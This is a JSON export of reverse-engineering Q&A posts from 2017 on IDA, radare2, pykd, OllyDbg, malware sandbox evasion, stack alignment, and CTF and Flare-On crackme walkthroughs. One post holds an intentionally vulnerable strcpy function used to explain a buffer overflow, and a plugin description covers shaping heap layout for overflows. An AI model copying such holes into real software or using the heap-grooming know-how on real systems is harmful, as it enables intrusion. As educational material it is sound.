        "CreationDate": "2017-12-23T10:50:23.017",
        "Body": "<p>Simple question that I coudn't find googling: if I'm in the middle of a function how can I jump to the start/end (prologue/epilogue) of this function in IDA's disassembly?</p>\n\n<p>Thanks.</p>\n",
        "Title": "How to jump to the start/end of a function in IDA disassembly?",
        "Tags": "|ida|",
        "Answer": "<p>I don't believe there is a hotkey that will do it by default. One solution you could have is to add something like this to your <code>.idapythonrc</code></p>\n\n<pre><code># define functions to do the jumping\ndef jump_func_start():\n    Jump(GetFunctionAttr(here(), FUNCATTR_START))\n\ndef jump_func_end():\n    Jump(PrevHead(GetFunctionAttr(here(), FUNCATTR_END)))\n\n# Compile IDC wrappers to call the python\nidaapi.CompileLine('static j_f_start() { RunPythonStatement(\"jump_func_start()\"); }')\nidaapi.CompileLine('static j_f_end() { RunPythonStatement(\"jump_func_end()\"); }')\n\n# Add the hotkey\nAddHotkey(\"Ctrl-Alt-K\", 'j_f_start')\nAddHotkey(\"Ctrl-Alt-J\", 'j_f_end')\n</code></pre>\n\n<p>After that you can just type whatever hotkey you set and it should go to the start / end of the function</p>\n"
    },
    {
        "Id": "17045",
        "CreationDate": "2017-12-25T00:15:24.343",
        "Body": "<p>I have analysed malware previously using Cuckoo Sandbox, however, I've seen that some malware won't run as they detect they are actually running in a virtual environment (they implement some anti-virtualisation techniques). So what I was thinking is running the malware in a real environment instead and then rolling back to the clean state using a clean copy of the system. <strong>I just want to check the following:</strong></p>\n\n<ol>\n<li>Is this the proper way to analyse malware which implements\nanti-virtualisation techniques or there are other ways that usually are followed? </li>\n<li>Is there a specific program that is widely used by\nmalware analysers to retain a copy of the clean system state, and\nre-install it? (I am interested in Windows malware only)</li>\n</ol>\n",
        "Title": "Analysing malware in a real environment (non-virtual environment)",
        "Tags": "|malware|",
        "Answer": "<p>The answer is complete for the questioner's #2, but let's dig a little-deeper into #1.</p>\n\n<p>There are other ways to analyze malware which implements anti-virtualization, vm-detection, sandbox detection, and sandbox evasion techniques. However, does the malware also include environmentally-keyed detection or evasion techniques, such as the ones outlined here -- <a href=\"https://www.vmray.com/blog/sandbox-evasion-techniques-part-4/\" rel=\"nofollow noreferrer\">https://www.vmray.com/blog/sandbox-evasion-techniques-part-4/</a> -- (aka context-aware malware aka environment-sensitive)?</p>\n\n<p>Cuckoo is an excellent sandbox for features and behavior extraction, so it's not always wise to jump to windbg or other classic bare-metal debugging (although sometimes it is wise to do this). If the built-in cloaking solution for Cuckoo, <a href=\"https://github.com/jbremer/vmcloak/\" rel=\"nofollow noreferrer\">vmcloak</a>, can prevent the malware from detecting or evading it then you still get all of the benefits of Cuckoo.</p>\n\n<p>Some of these can be elicited early-on during static analysis or even during simple Yara triage. There are also advanced ways of performing Yara triage that will catch malicious processes in-the act, such as Godaddy's procfilter -- <a href=\"https://github.com/godaddy/yara-rules/blob/master/features/virtualbox_detection.yara\" rel=\"nofollow noreferrer\">https://github.com/godaddy/yara-rules/blob/master/features/virtualbox_detection.yara</a></p>\n\n<p>If you use dynamic analysis to elicit the sandbox detection, evasion, or context-aware malware techniques, be sure to know your limitations. <a href=\"https://github.com/secrary/makin\" rel=\"nofollow noreferrer\">makin</a> is a good starting framework to determine those anti-debugging capabilities.</p>\n\n<p>A lot of this depends on your goal with malware. What do you want to know about them; what questions do you have? Do you need to extract Proactive Threat Indicators for internal-only blacklists or will you be sharing them? Do you need to deconfig RATs that are operating on systems in your network? For example, a focus on nation-state RATs might warrant a jump to the -- <a href=\"https://github.com/ctxis/CAPE\" rel=\"nofollow noreferrer\">https://github.com/ctxis/CAPE</a> -- tool or similar.</p>\n\n<p>If you want a simple solution to scaling sandbox-based automation with stealth functionality that surpasses vmcloak, check out -- <a href=\"http://drakvuf.com\" rel=\"nofollow noreferrer\">drakvuf.com</a></p>\n\n<p>I am definitely interested in more of the bare-metal techniques (especially the AMT RAM cloner!) spoken to by @ekse in the primary answer. These are also very-valuable! However, just because you have bare metal doesn't mean that context-aware malware techniques such as time bombs, logic bombs, and specifically-targeted malicious logic won't be an additional problem -- you'll have to account for them!</p>\n"
    },
    {
        "Id": "17048",
        "CreationDate": "2017-12-25T15:53:08.650",
        "Body": "<p>I decompile a VC++ application in IDA 7, and I often find vftables referencing the same function multiple times, like the one I called \"Object__pure\" here, part of a \"heavy-base\" <code>Object</code> class inherited by almost every other class in the application:</p>\n\n<pre><code>seg002:008F4748     const Object::`vftable' dd offset Object__free ; DATA XREF: Object__ctor+12\u2191o Object__dtor+A\u2191o Object__copy+16\u2191o\nseg002:008F474C         dd offset Object__vsub_7D0990\nseg002:008F4750         dd offset Object__vsub_7D09A0\nseg002:008F4754         dd offset Object__pure\nseg002:008F4758         dd offset Object__pure\nseg002:008F475C         dd offset Object__pure\nseg002:008F4760         dd offset Object__pure\nseg002:008F4764         dd offset Object__vsub_47B660\n</code></pre>\n\n<p>Child classes in my executable inheriting from <code>Object</code> typically have their own custom functions instead of those \"pure\" (how I called them) ones in their vtable. </p>\n\n<p>Not really knowing what that could be, I gave it the name \"pure\", thinking about it like a virtual or pure virtual call. The function itself does nothing other than calling a completely empty <code>Object__vsub_80CD50</code>:</p>\n\n<pre><code>seg000:007E4580     Object__pure proc near ; CODE XREF: &lt;lots!&gt;\nseg000:007E4580\nseg000:007E4580     a1  = dword ptr -4\nseg000:007E4580     arg_0= dword ptr  8\nseg000:007E4580\nseg000:007E4580 000     push    ebp\nseg000:007E4581 004     mov     ebp, esp\nseg000:007E4583 004     push    ecx\nseg000:007E4584 008     mov     [ebp+a1], ecx\nseg000:007E4587 008     mov     eax, [ebp+arg_0]\nseg000:007E458A 008     push    eax\nseg000:007E458B 00C     mov     ecx, [ebp+a1] ; this\nseg000:007E458E 00C     call    Object__vsub_80CD50 ; Call Procedure\nseg000:007E4593 00C     mov     esp, ebp\nseg000:007E4595 004     pop     ebp\nseg000:007E4596 000     retn    4 ; Return Near from Procedure\nseg000:007E4596     Object__pure endp\n\n...\n\nseg000:0080CD50     Object__vsub_80CD50 proc near ; CODE XREF: &lt;lots again!&gt;\nseg000:0080CD50\nseg000:0080CD50     var_4= dword ptr -4\nseg000:0080CD50\nseg000:0080CD50 000     push    ebp\nseg000:0080CD51 004     mov     ebp, esp\nseg000:0080CD53 004     push    ecx\nseg000:0080CD54 008     mov     [ebp+var_4], ecx\nseg000:0080CD57 008     mov     esp, ebp\nseg000:0080CD59 004     pop     ebp\nseg000:0080CD5A 000     retn    4 ; Return Near from Procedure\nseg000:0080CD5A     Object__vsub_80CD50 endp\n</code></pre>\n\n<p>Why is such a function referenced multiple times? Is it due to optimization, unifying functions that do nothing? Are those functions typically virtual / pure virtual?</p>\n",
        "Title": "Why would a vtable reference the same function multiple times?",
        "Tags": "|ida|vtables|msvc|",
        "Answer": "<p>As I guessed and was confirmed in the comments, this is apparently some compiler optimization reusing methods executing the same logic.</p>\n\n<p>This got clear to me when I reversed the methods of one of the more specific objects, like the data stream reader / writer here:</p>\n\n<pre><code>seg002:008F4FC4     const DataStream::`vftable' dd offset DataStream__readByte ; DATA XREF: DataStream__ctor+12\u2191o\nseg002:008F4FC8         dd offset DataStream__readWord\nseg002:008F4FCC         dd offset DataStream__readDword\nseg002:008F4FD0         dd offset DataStream__readBytes\nseg002:008F4FD4         dd offset DataStream__canReadWrite\nseg002:008F4FD8         dd offset DataStream__writeByte\nseg002:008F4FDC         dd offset DataStream__writeWord\nseg002:008F4FE0         dd offset DataStream__writeDword\nseg002:008F4FE4         dd offset DataStream__writeBytes\nseg002:008F4FE8         dd offset DataStream__canReadWrite\n</code></pre>\n\n<p>You can see that the methods <code>canRead</code> and <code>canWrite</code> were simply optimized into one method (which I named <code>canReadWrite</code>) as the logic for both is the same (hexrays output):</p>\n\n<pre><code>bool __thiscall DataStream::canReadWrite(DataStream *this, int lengthRequired)\n{\n    return this-&gt;members.pData &lt;= this-&gt;members.pDataEnd\n        &amp;&amp; this-&gt;members.pDataEnd - this-&gt;members.pData &gt;= lengthRequired;\n}\n</code></pre>\n\n<p>It <em>may</em> be the case that some other data stream class (like a read- or write-only one) will implement each method differently (returning simply <code>false</code> for said cases), but not in this class.</p>\n\n<p>Thus, for an even more generic base class like <code>Object</code> above, a lot of methods do nothing specific in particular, and are optimized into one.</p>\n"
    },
    {
        "Id": "17053",
        "CreationDate": "2017-12-27T17:51:59.597",
        "Body": "<p>I'm practicing with Radare2, latest commit.</p>\n\n<pre><code>radare2 2.3.0-git 16814 @ linux-x86-64 git.2.2.0-5-g61a903315\n</code></pre>\n\n<p>During my sessions, I need to rename local variables to a more understandable name, e.g.</p>\n\n<pre><code>var int local_110h @ rbp-0x110\n:&gt; afvn local_110h commandLine\n</code></pre>\n\n<p>Is there a command to inspect what's inside this variable and, eventually, what's pointing to?</p>\n\n<p>I was expecting this:</p>\n\n<pre><code>px @ commandLine\npx @ [commandLine]\n</code></pre>\n\n<p>But it doesn't work:</p>\n\n<pre><code>:&gt;px @ commandLine\nInvalid address (commandLine)\n|ERROR| Invalid command 'px @ commandLine' (0x70)\n</code></pre>\n\n<p>Passing through rbp works flawlessly.</p>\n\n<pre><code>px @ rbp-0x100\n</code></pre>\n",
        "Title": "Radare2: inspecting renamed variables",
        "Tags": "|radare2|",
        "Answer": "<p>You should use <code>afvd</code>.  </p>\n\n<pre><code>[0x00402a00]&gt; afv?\n...\n...\n| afvd name     output r2 command for displaying the value of args/locals in the debugger\n...\n...\n</code></pre>\n\n<p>Executing only <code>afvd</code> will print you the values of all the local variables in the function, and if you'll execute it with a variable name you'll get radare2 command as a result:</p>\n\n<pre><code>[0x00402a00]&gt; afvn local_110h commandLine\n[0x00402a00]&gt; afvd commandLine\npxr $w @rsp+0x110\n</code></pre>\n\n<p>you'll get <code>pxr $w @rsp+0x110</code>, which is a radare2 command.</p>\n\n<p>You can add a dot <code>.</code> before it to execute it:</p>\n\n<pre><code>[0x00402a00]&gt; .afvd commandLine\n0x7fffdc9e9258  0x28ffedf4ccd19d64   d......(\n</code></pre>\n\n<p>If, for example, you only want the address, you can use radare's internal grep.</p>\n\n<pre><code>[0x00402a00]&gt; .afvd commandLine~[0]\n0x7fffdc9e9258\n</code></pre>\n\n<p>For more information about radare's grep, execute <code>~?</code></p>\n"
    },
    {
        "Id": "17059",
        "CreationDate": "2017-12-28T08:15:12.947",
        "Body": "<p>I am using pykd to debug an application which loads a dll only when some condition is met. How do I set a breakpoint in the dll which has not loaded yet in pykd such that my handler gets the callback? Currently my code looks something like this</p>\n\n<pre><code>class ExceptionHandler(pykd.eventHandler):\n    def __init__(self):\n        pykd.eventHandler.__init__(self)\n\n    def onException(self, exceptionInfo):\n        return pykd.eventResult.NoChange\n\n    def onBreakpoint(self, id):\n        return pykd.eventResult.NoChange\n\n    def onThreadStart(self):\n        return pykd.eventResult.NoChange\n\n    def onThreadStop(self):\n        return pykd.eventResult.NoChange\n\n    def onLoadModule(self, base, name):\n        print \"onLoadModule \" + name\n        # sys.stdout.flush()\n        # if name == \"test_module\":\n        #     # test_module = pykd.module(\"test_module\")\n        #     # test_module.reload()\n        #     # pykd.setBp(test_module.offset('test_function'), breakCount)\n        #     # print pykd.dbgCommand(\"bl\")\n        #     print pykd.dbgCommand('bp test_module!test_function \"r;gc\"')\n        #     # print pykd.dbgCommand(\"bl\")\n        #     # print \"Breakpoint Set %x\" % (test_module.offset('test_function'))\n        #     print \"Breakpoint Set\"\n        return pykd.eventResult.NoChange\n\n    def onUnloadModule(self, base, name):\n        return pykd.eventResult.NoChange\n\npykd.initialize()\npykd.handler = ExceptionHandler()\npykd.startProcess(\"testmydelayedload.exe %s\\\\%s\" % (os.getcwd(), sys.argv[1].strip()))\nalloc_module = pykd.module(\"ntdll\")\nalloc_module.reload()\nb0 = pykd.setBp(alloc_module.offset('RtlAllocateHeap')+0xe6, breakCount)\nb1 = pykd.setBp(alloc_module.offset('RtlFreeHeap'), breakCount)\npykd.loadExt(\"C:\\\\Program Files\\\\Windows Kits\\\\10\\\\Debuggers\\\\x86\\\\winext\\\\ext.dll\")\npykd.go()\npykd.killAllProcesses()\n</code></pre>\n\n<p>I have tried to manually set the breakpoint using <code>pykd.dbgCommand</code> but the callback is not triggered in that case. I tried to change the return value of <code>onLoadModule</code> to other than <code>pykd.eventResult.NoChange</code> while setting a bp. What am I missing?</p>\n",
        "Title": "How to set bp in a dll which loads later in pykd?",
        "Tags": "|windows|windbg|pykd|",
        "Answer": "<p>I just figured it out, the variable storing the bp should be global otherwise it won't work. It should be alive out of the class's context.</p>\n\n<pre><code>def onLoadModule(self, base, name):\n        global test_function, test_module\n        print \"onLoadModule \" + name\n        if name == \"jscript\":\n            test_module = pykd.module(\"jscript\")\n            test_module.reload()\n            test_function = pykd.setBp(test_module.offset('test_function'), breakCount)\n            print \"Breakpoint Set %x\" % (test_module.offset('test_function'))\n        return pykd.eventResult.NoChange\n</code></pre>\n"
    },
    {
        "Id": "17064",
        "CreationDate": "2017-12-28T15:13:05.993",
        "Body": "<p>I found <a href=\"https://platform.avatao.com/paths/a0dc20fc-f1b5-43c9-89fc-3a5fccfb5f0b/challenges/d80d53ed-597a-4b7e-9897-b85784489029\" rel=\"nofollow noreferrer\">this</a> platform and its course path into Reverse Engineering. </p>\n\n<p>Although very easy (at first) I'm kinda stuck in this binary n.2. Binary looks pretty easy and straightforward, but I can't figure it out how the code can count the length of user's password. I can see in the disassembled code that:</p>\n\n<p><a href=\"https://i.stack.imgur.com/BQiFV.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/BQiFV.png\" alt=\"Program block that is supposed to count user password\"></a></p>\n\n<p>Just before <code>strlen</code> call, <code>EAX</code> will point always to command line: </p>\n\n<pre><code>r2 -Ad ./reverse2.dms AAAAAAAAAAAAAAAAAAAAAAAAAAA\n</code></pre>\n\n<p>It will count always <code>0x0e</code> chars because of the length of string <code>./reverse2.dms</code> and not the length of the submitted password.</p>\n\n<p>I don't know if is it a bug or ... maybe ... I simply don't get it. But as for this situation, interesting loop is never reached because <code>0x0e &lt; 0x15</code>.</p>\n\n<p>I can rename the binary and jump over the first block but... honestly I'm afraid it's not the right way.</p>\n\n<p>Am I wrong?</p>\n",
        "Title": "Avatao R3v3rs3 2",
        "Tags": "|assembly|radare2|",
        "Answer": "<p>As your initial instincts told you, it is quite a simple challenge and you are close. Let's understand together the logic of the program. As you did, I used radare2.</p>\n\n<p>Let's open the program in radare2:</p>\n\n<pre><code>$ r2 reverse2\n</code></pre>\n\n<p>Analyze the binary and print the main function:</p>\n\n<pre><code>[0x08048350]&gt; aa\n[0x08048350]&gt; pdf @ main\n</code></pre>\n\n<p>If you want to, you can use radare's great Visual Graph Mode to easily detect the function's flow:</p>\n\n<pre><code>[0x08048350]&gt; VV @ main\n</code></pre>\n\n<p>First the program checks whether you pass at least one argument to the program, i.e <code>num_of_arguments &gt; 1</code>. Remember that the filename counts as 1 argument so you'll need another one.</p>\n\n<pre><code>0x08048456      837d0801       cmp dword [arg_8h], 1\n0x0804845a      7f16           jg 0x804847\n</code></pre>\n\n<p>Then it checks if the file name is more than 15 characters long:</p>\n\n<pre><code>0x08048472      8b450c         mov eax, dword [arg_ch]     ; [0xc:4]=-1 ; 12\n0x08048475      8b00           mov eax, dword [eax]\n0x08048477      89442418       mov dword [local_18h], eax\n0x0804847b      8b442418       mov eax, dword [local_18h]  ; [0x18:4]=-1 ; 24\n0x0804847f      890424         mov dword [esp], eax\n0x08048482      e8a9feffff     call sym.imp.strlen         ; size_t strlen(const char *s)\n0x08048487      8944241c       mov dword [local_1ch], eax\n0x0804848b      837c241c15     cmp dword [local_1ch], 0x15 ; [0x15:4]=-1 ; 21\n</code></pre>\n\n<p>So, you need to change the file name to be more than 15 characters long and pass it at least one argument.</p>\n\n<p>Now for the interesting part. In the following conditions, the program is checking whether <code>filename[some_offset] == chr(0x??)</code> and if yes, it goes to another offset in the file name and checks the value there.<br>\nSo, for example, in the first check you can see:</p>\n\n<pre><code>0x080484a7      8b442418       mov eax, dword [local_18h]\n0x080484ab      83c014         add eax, 0x14\n0x080484ae      0fb600         movzx eax, byte [eax]\n0x080484b1      3c73           cmp al, 0x73                ; 's' ; 115\n</code></pre>\n\n<p>In this block it checks whether <code>filename[0x14] == chr(0x73)</code> which radare hints you that 0x73 equals the letter 's'.</p>\n\n<p>If yes, it jumps to another block:</p>\n\n<pre><code>0x080484b9      8b442418       mov eax, dword [local_18h]\n0x080484bd      83c008         add eax, 8\n0x080484c0      0fb600         movzx eax, byte [eax]\n0x080484c3      3c67           cmp al, 0x67                ; 'g' ; 103\n</code></pre>\n\n<p>In this block the program checks whether <code>filename[8]=='g'</code>.<br>\nAnd so on until it checks all the offsets.</p>\n\n<p>I'll leave it to you to solve it and figure out what should be the name of the program.<br>\nGood luck!</p>\n"
    },
    {
        "Id": "17070",
        "CreationDate": "2017-12-29T11:57:02.280",
        "Body": "<p>I have a C compiled binary that allocates an array of chars into the heap via <code>HeapAlloc()</code>.\nI would like to be able to see the allocated dynamic array in the heap using Ollydbg to be able to trace it and see how it is being modified.</p>\n\n<p>So far I've tried:</p>\n\n<ol>\n<li>Insert a unique string e.g. <code>r00tr00tr00tr00t...r00t</code> via the binary**</li>\n<li>Go to Memory View (ALT+M)</li>\n<li>Search (CTRL+B) for ASCII: <code>r00t</code></li>\n</ol>\n\n<p>I always fail to locate it. I'm new to this so is the steps I took the right direction? If no how can I locate the string in the heap?</p>\n\n<p>** this is injected with normal flow of the program, it accepts data from user. Let's say it's a serial number to be entered for instanc, which is placed in the heap using <code>HeapAlloc</code></p>\n",
        "Title": "How can I see the heap data in ollydbg?",
        "Tags": "|ollydbg|c|memory|heap|",
        "Answer": "<p>There is two ollydbg plugins that can help you to see the heap data.  </p>\n\n<p>1- Heap Vis by Pedram Amini<br>\nYou may have noticed the ghosted 'Heap' option under the 'View' menu in OllyDBG. The feature is available only under Windows 95 based OSes and is supposed to display a list of allocated memory blocks. The Olly Heap Vis plug-in was written to provide this functionality and more on all modern Windows OSes such as Windows 2000, XP and 2003. The OllyDbg Heap Vis plug-in exposes the following functionality:</p>\n\n<ul>\n<li>View Heaps</li>\n<li>Search Heaps</li>\n<li>Jump to Heap Chunk</li>\n<li>Create Heap Visualization   </li>\n</ul>\n\n<p><a href=\"https://i.stack.imgur.com/9vzer.gif\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/9vzer.gif\" alt=\"enter image description here\"></a>\n<a href=\"http://www.openrce.org/downloads/details/1/Heap_Vis\" rel=\"nofollow noreferrer\">http://www.openrce.org/downloads/details/1/Heap_Vis</a>  </p>\n\n<p>2- OllyHeapTrace by Stephen Fewer<br>\nOllyHeapTrace (Written in 2008) is a plugin for OllyDbg (version 1.10) to trace the heap operations being performed by a process. It will monitor heap allocations and frees for multiple heaps, as well as operations such as creating or destroying heaps and reallocations. All parameters as well as return values are recorded and the trace is highlighted with a unique colour for each heap being traced.</p>\n\n<p>The primary purpose of this plugin is to aid in the debugging of heap overflows where you wish to be able to control the heap layout to overwrite a specific structure such as a chunk header, critical section structure or some application specific data. By tracing the heap operations performed during actions you can control (for example opening a connection, sending a packet, closing a connection) you can begin to predict the heap operations and thus control the heap layout.  </p>\n\n<p><a href=\"https://i.stack.imgur.com/CzcVX.gif\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/CzcVX.gif\" alt=\"enter image description here\"></a>\n<a href=\"https://github.com/stephenfewer/OllyHeapTrace\" rel=\"nofollow noreferrer\">https://github.com/stephenfewer/OllyHeapTrace</a></p>\n"
    },
    {
        "Id": "17075",
        "CreationDate": "2017-12-29T18:27:08.897",
        "Body": "<p>Given that function:</p>\n\n<pre><code>void vuln( char * arg ) {\n    char buf[256];\n    strcpy(buf, arg);\n}\n</code></pre>\n\n<p>Disassembled in:</p>\n\n<pre><code>       0x0804842b      55             push ebp                                                                                                                                                                                          \n       0x0804842c      89e5           mov ebp, esp                                                                                                                                                                                      \n       0x0804842e      81ec08010000   sub esp, 0x108                                                                                                                                                                                    \n       0x08048434      83ec08         sub esp, 8                                                                                                                                                                                        \n       0x08048437      ff7508         push dword [arg_8h]                                                                                            \n       0x0804843a      8d85f8feffff   lea eax, ebp - 0x108                                                                                                                                                                              \n       0x08048440      50             push eax                                                                                                           \n       0x08048441      e8bafeffff     call sym.imp.strcpy                                                                                             \n       0x08048446      83c410         add esp, 0x10                                                                                                                                                                                     \n       0x08048449      c9             leave                                                                                                                                                                                             \n       0x0804844a      c3             ret             \n</code></pre>\n\n<p>It overflows when the argument is 264 = 0x108 chars and I was expecting 256 bytes. Why compiler adds 8 bytes with <code>sub esp,8</code> ?       </p>\n",
        "Title": "Stack buffer size is different between C and ASM",
        "Tags": "|assembly|",
        "Answer": "<ul>\n<li><p>According to the <a href=\"https://refspecs.linuxfoundation.org/elf/abi386-4.pdf\" rel=\"nofollow noreferrer\">SYS V i386 ABI</a> the stack must be at minimum operating system word aligned prior to execution of the <a href=\"https://c9x.me/x86/html/file_module_x86_id_26.html\" rel=\"nofollow noreferrer\"><code>CALL</code></a> instruction. </p>\n\n<p>Excerpt from Peter Cordes' answer to <a href=\"https://stackoverflow.com/questions/40307193/responsiblity-of-stack-alignment-in-x86-assembly\">Responsiblity of stack alignment in x86 assembly</a>:</p>\n\n<blockquote>\n  <p>The i386 System V ABI has guaranteed/required for years that ESP+4 is 16B-aligned on entry to a function. (i.e. ESP must be 16B-aligned before a CALL instruction, so args on the stack start at a 16B boundary. This is the same as for x86-64 System V.)</p>\n</blockquote></li>\n<li><p>Additionally, GCC aligns the stack to a 16-byte boundary by defualt. To accomplish this, GCC will allocate additional space in an area within a function's stack frame that is considered unrestricted by the ABI:</p>\n\n<blockquote>\n  <p>Other areas depend on the compiler and the code being compiled. The standard calling sequence does not define a maximum stack frame size, nor does it restrict how a language system uses the \u2018\u2018unspecified\u2019\u2019 area of the standard stack frame.</p>\n</blockquote></li>\n<li><p>in the ABI the function return address is considered to be part of the current stack frame:</p></li>\n</ul>\n\n<p><a href=\"https://i.stack.imgur.com/I0vwk.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/I0vwk.png\" alt=\"i386 stack frame layout\"></a></p>\n\n<p>This is enough information to allow us to determine why the compiler generates code that creates unused space on the stack. Let us examine the code, focusing on instructions that result in stack frame memory allocation:</p>\n\n<pre><code>   0x0804842b      55             push ebp                     ( 1 )                                                                                                                                                                     \n   0x0804842c      89e5           mov ebp, esp                                                                                                                                                                                      \n   0x0804842e      81ec08010000   sub esp, 0x108               ( 2 )                                                                                                                                                                     \n   0x08048434      83ec08         sub esp, 8                   ( 3 )                                                                                                                                                                    \n   0x08048437      ff7508         push dword [arg_8h]          ( 4 )                                                                                  \n   0x0804843a      8d85f8feffff   lea eax, ebp - 0x108                                                                                                                                                                              \n   0x08048440      50             push eax                     ( 5 )                                                                                      \n   0x08048441      e8bafeffff     call sym.imp.strcpy          ( 6 )                                                                                   \n   0x08048446      83c410         add esp, 0x10                                                                                                                                                                                     \n   0x08048449      c9             leave                                                                                                                                                                                             \n   0x0804844a      c3             ret             \n</code></pre>\n\n<hr>\n\n<ol>\n<li><p>We now know that the return address is considered to be part of the current stack frame. i386 machines have 32-bit architecture, so the return address takes up 4 bytes of space and execution of the instruction <code>push ebp</code> will decrement the stack pointer by 4 bytes.  </p>\n\n<ul>\n<li>4 + 4 = 8, so at this point the stack frame is 8 bytes in size.</li>\n</ul></li>\n<li><p>As you noted, this creates 264 bytes of space. </p>\n\n<ul>\n<li>8 +  264 = 272</li>\n</ul></li>\n<li><p><code>sub esp, 8</code> - the specific instruction in question. Creates 8 additional bytes of space on the stack frame.</p>\n\n<ul>\n<li>272 + 8 = 280</li>\n</ul></li>\n<li><p>As before, <code>push</code> has the effect of adding 4 bytes of space.</p>\n\n<ul>\n<li>280 + 4 = 284</li>\n</ul></li>\n<li><p>Another <code>push</code>.</p>\n\n<ul>\n<li>284 + 4 = 288</li>\n</ul></li>\n<li><p>Now it is time for execution of the <code>call</code> instruction. At this point the stack frame is 288 bytes in size. Let us check for alignment to a 16-byte boundary:</p>\n\n<ul>\n<li>288 % 16 = 0 (thanks RadLexus). The stack frame is correctly aligned.</li>\n</ul></li>\n</ol>\n\n<p><hr>\nConclusion:</p>\n\n<p>The compiler uses <code>sub esp, 8</code> to maintain stack frame alignment to a 16-byte boundary.</p>\n\n<p>See also:</p>\n\n<ul>\n<li><a href=\"https://stackoverflow.com/questions/4175281/what-does-it-mean-to-align-the-stack\">https://stackoverflow.com/questions/4175281/what-does-it-mean-to-align-the-stack</a></li>\n<li><a href=\"https://software.intel.com/en-us/forums/intel-isa-extensions/topic/291241\" rel=\"nofollow noreferrer\">https://software.intel.com/en-us/forums/intel-isa-extensions/topic/291241</a></li>\n</ul>\n"
    },
    {
        "Id": "17081",
        "CreationDate": "2017-12-30T16:00:46.757",
        "Body": "<p>i'm reading the solution of an exercise ( keygen me )\nand i found this :</p>\n\n<p><strong>Load OllyDbg, where EIP is located</strong> </p>\n\n<p>EIP = 0x51BDE1</p>\n\n<p>What does it means ?? and how can i find this !\nThanks</p>\n",
        "Title": "what means ollydbg EIP location?",
        "Tags": "|ollydbg|",
        "Answer": "<p>To quote from the \"X86 Assembly book\" in <a href=\"https://en.wikibooks.org/wiki/X86_Assembly/X86_Architecture#Instruction_Pointer\" rel=\"noreferrer\">WikiBooks</a>:  </p>\n\n<blockquote>\n  <p>The EIP (Extended Instruction Pointer) register contains the address\n  of the next instruction to be executed if no branching is done.</p>\n  \n  <p>EIP can only be read through the stack after a call instruction.</p>\n</blockquote>\n\n<p>In other words, EIP tells the computer where to go next to execute the next command and controls the flow of a program.</p>\n\n<p>This simple example shows the automatic addition to eip at every step (<a href=\"https://wiki.skullsecurity.org/index.php?title=Registers#eip\" rel=\"noreferrer\">source</a>):</p>\n\n<pre><code>eip+1      53                push    ebx\neip+4      8B 54 24 08       mov     edx, [esp+arg_0]\neip+2      31 DB             xor     ebx, ebx\neip+2      89 D3             mov     ebx, edx\neip+3      8D 42 07          lea     eax, [edx+7]\n.....\n</code></pre>\n\n<hr>\n\n<p>To spot EIP in OllyDbg you just have to look at the right panel and you'll find where EIP is pointing to. </p>\n\n<p><a href=\"https://i.stack.imgur.com/FWuG5.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/FWuG5.png\" alt=\"enter image description here\"></a></p>\n\n<p>So, in your example <code>EIP = 0x51BDE1</code>, thus the address of the next instruction  will be <code>0x51BDE1</code>. From the sentence you quoted, it seems like the writer want you to do something on this address. By default, OllyDbg would show you EIP in the disassembly window so it would be easy to spot it.</p>\n"
    },
    {
        "Id": "17085",
        "CreationDate": "2017-12-31T04:49:52.417",
        "Body": "<p>I was trying the flare on challenge. When trying the challenge#3 I got into some trouble and could not solve it. After looking into solutions wrote by other I now do know how the program works, but i have confusion in the following line.</p>\n\n<pre><code>mov     ecx, offset loc_40107C\nadd     ecx, 79h\nmov     eax, offset loc_40107C\nmov     dl, [ebp+buf]\n</code></pre>\n\n<p>The solution that I am reading states that this instruction is moving the address into the <code>ecx</code> register and is used in combination with <code>eax</code> register to replace some values in that same location. The loop that does this is:</p>\n\n<pre><code>loc_401039:\nmov     bl, [eax]\nxor     bl, dl\nadd     bl, 22h\nmov     [eax], bl\ninc     eax\ncmp     eax, ecx\njl      short loc_401039\n</code></pre>\n\n<p>But when i try and enter the location 40107C it seems the location has following instructions:</p>\n\n<pre><code>icebp\npush    es\nsbb     dword ptr [esi], 1F99C4F0h\nles     edx, [ecx+1D81061Ch]\nout     6, al           ; DMA controller, 8237A-5.\n                        ; channel 3 base address\n                        ; (also sets current address)\nand     dword ptr [edx-11h], 0F2638106h\npush    es\n...\n</code></pre>\n\n<p>Should not the location be empty or have some other values than assembly instructions since the location is being used for storing value, Or have I misunderstood something here, Can someone please clarify ?</p>\n\n<p>The solution I was reading : <a href=\"https://www.fireeye.com/content/dam/fireeye-www/global/en/blog/threat-research/Flare-On%202017/Challenge%20%233%20solution.pdf\" rel=\"noreferrer\">https://www.fireeye.com/content/dam/fireeye-www/global/en/blog/threat-research/Flare-On%202017/Challenge%20%233%20solution.pdf</a></p>\n",
        "Title": "Flare-ON#3: Problem understanding some parts in the program",
        "Tags": "|ida|disassembly|assembly|binary-analysis|x86|",
        "Answer": "<blockquote>\n  <p>Should not the location be empty or have some other values than assembly instructions...?</p>\n</blockquote>\n\n<p>The answer is \"no\". As the author stated in the write-up, this binary is self-modifying:</p>\n\n<blockquote>\n  <p>At this stage you may have correctly assumed the sample modifies these\n  instructions in order to properly reach <code>0x401101</code>.<br>\n  ...<br>\n  Another indication of self-modifying code is found in the sample\u2019s PE headers.\n  The <code>.text</code> section, where the program\u2019s entry point resides, is\n  writeable.</p>\n</blockquote>\n\n<p>Any try to disassemble the bytes from <code>0x40107C</code> to <code>0x40107C+0x79</code> will cause with wrong and non-sense assembly instructions. Thus, we should understand the function which manipulated this bytes. </p>\n\n<h2>Understanding the modifying function</h2>\n\n<p>As you noticed already, this is the code which responsible for modifying the bytes in this range:</p>\n\n<pre><code>loc_401039:\nmov     bl, [eax]\nxor     bl, dl\nadd     bl, 22h\nmov     [eax], bl\ninc     eax\ncmp     eax, ecx\njl      short loc_401039\n</code></pre>\n\n<p>Let's use pseudo-code to understand how it works:</p>\n\n<pre><code>start_addr = 0x0x40107c\nend_addr = 0x40107c + 0x79 = 0x4010f5\nkey = 0x??\n\nfor addr in range(start_addr, end_addr+1):\n    # setByte (address, new_value); getByte (address)\n    setByte(addr, (getByte(addr)^key)+0x22)\n</code></pre>\n\n<p>So, each byte in this range is XOR'd with some key and then <code>0x22</code> is added to the result.</p>\n\n<hr>\n\n<h2>Demonstrating</h2>\n\n<p><strong>Spoiler 